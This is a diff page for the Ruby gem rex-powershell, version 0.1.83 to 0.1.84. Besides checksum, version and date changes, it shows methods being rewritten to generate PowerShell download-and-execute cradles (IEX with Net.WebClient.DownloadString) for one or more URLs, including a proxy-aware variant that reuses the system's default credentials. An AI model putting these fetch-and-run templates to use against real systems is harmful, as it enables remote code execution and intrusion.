rex-powershell 0.1.83 → 0.1.84

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 421ac28e512865c91044739b0da3ab0760e80c4f4df966cbf39a935c1d083f3c
4
- data.tar.gz: d5e958eaa5539f183d67543b3feaa4b9f489f2868882032cb43d6d9f30f82668
3
+ metadata.gz: 1172ac38c031c93b8dee4e5ac0d3510835c765187500e925027c7e34190be05c
4
+ data.tar.gz: 8f6131b883217ee174eba105ef04f101a61fc656290dccbaa9ee822b085c0e30
5
5
  SHA512:
6
- metadata.gz: a545a48c3e0515cd897155304736db6749877453abc5fc07e9c3e7cc84ef6417e5bda0a2523ec0e43dc9ff93dc40fecb31f004f5a84bfca75e6cb7b34f8f5946
7
- data.tar.gz: 4c1ae7b605031e7cbe433b62a1a916d5bdef4322910035929baa3982de6a247a1133e11a747cf06dd35f110ed752fa62150199885afa1318c59efc30c2c5cfea
6
+ metadata.gz: dc8d01380a830fc369bfddcddd9d736950b1ad97e58c9fc00b24a806cc7c83a8e7a442032828d57a46abafbf15d8c6a02e866f7af440be5aebe57f2e291882e1
7
+ data.tar.gz: df0a279cc2e1314abfeefb24733d0d30aefd78de14a3f6c12e97f5c75c7d85e6bafd411834cee1c67434b418fdf7d54625573ac4ee20dc78977f447af50fc32d
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -135,16 +135,25 @@ module Powershell
135
135
  #
136
136
  # Download and execute string via HTTP
137
137
  #
138
- # @param url [String] string to download
138
+ # @param urls [String | [String]] string(s) to download
139
139
  # @param iex [Boolean] utilize invoke-expression to execute code
140
140
  #
141
141
  # @return [String] PowerShell code to download and exec the url
142
- def self.download_and_exec_string(url, iex = true)
143
- if iex
144
- %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'))^
145
- else
146
- %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')))^
142
+ def self.download_and_exec_string(urls, iex = true)
143
+ unless urls.is_a?(Array)
144
+ urls = [urls]
147
145
  end
146
+
147
+ res = ''
148
+ for url in urls
149
+ if iex
150
+ res << %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'));^
151
+ else
152
+ res << %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')));^
153
+ end
154
+ end
155
+
156
+ res
148
157
  end
149
158
 
150
159
  #
@@ -159,22 +168,18 @@ module Powershell
159
168
  # Use the default system web proxy and credentials to download a URL
160
169
  # as a string and execute the contents as PowerShell
161
170
  #
162
- # @param url [String] string to download
171
+ # @param urls [String | [String]] string(s) to download
163
172
  # @param iex [Boolean] utilize invoke-expression to execute code
164
173
  #
165
174
  # @return [String] PowerShell code to download a URL
166
- def self.proxy_aware_download_and_exec_string(url, iex = true)
175
+ def self.proxy_aware_download_and_exec_string(urls, iex = true)
167
176
  var = Rex::Text.rand_text_alpha(1)
168
177
  cmd = "$#{var}=new-object net.webclient;"
169
178
  cmd << "if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){"
170
179
  cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
171
180
  cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
172
181
  cmd << "};"
173
- if iex
174
- cmd << "IEX ([System.Text.Encoding]::ASCII.GetString($#{var}.downloaddata('#{url}')));"
175
- else
176
- cmd << "&([scriptblock]::create($#{var}.downloadstring('#{url}'));"
177
- end
182
+ cmd << download_and_exec_string(urls, iex)
178
183
  cmd
179
184
  end
180
185
 
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.83"
3
+ VERSION = "0.1.84"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.83
4
+ version: 0.1.84
5
5
  platform: ruby
6
6
  authors:
7
7
  - David 'thelightcosine' Maloney
@@ -93,7 +93,7 @@ cert_chain:
93
93
  JI/W23RbIRksG2pioMhd4dCXq3FLLlkOV1YfCwWixNB+iIhQPPZVaPNfgPhCn4Dt
94
94
  DeGjje/qA4fkLtRmOtb9PUBq3ToRDE4=
95
95
  -----END CERTIFICATE-----
96
- date: 2019-11-18 00:00:00.000000000 Z
96
+ date: 2020-01-10 00:00:00.000000000 Z
97
97
  dependencies:
98
98
  - !ruby/object:Gem::Dependency
99
99
  name: bundler
metadata.gz.sig CHANGED
@@ -1,2 +1,2 @@
1
- Yٰ���/cA(̴��˳���
2
- C
1
+ ��q�^��e�`P�~����_���i%��&[}*W%p��~M��G8�L�&ݓ����N�\8���z$�������k��^^<���:"a�G��e�e/֭�hE4'���$�/T���#�j�ԇ
2
+ ���=6��˘�-��0rڽp��Qm-tHX�/>Kn�n)3�d�l>)bo�ϙ���"{��LJA>?��&<��nX�7�m�8��K����E|���G:�Fx�q�ㅺ�Ѻ0�|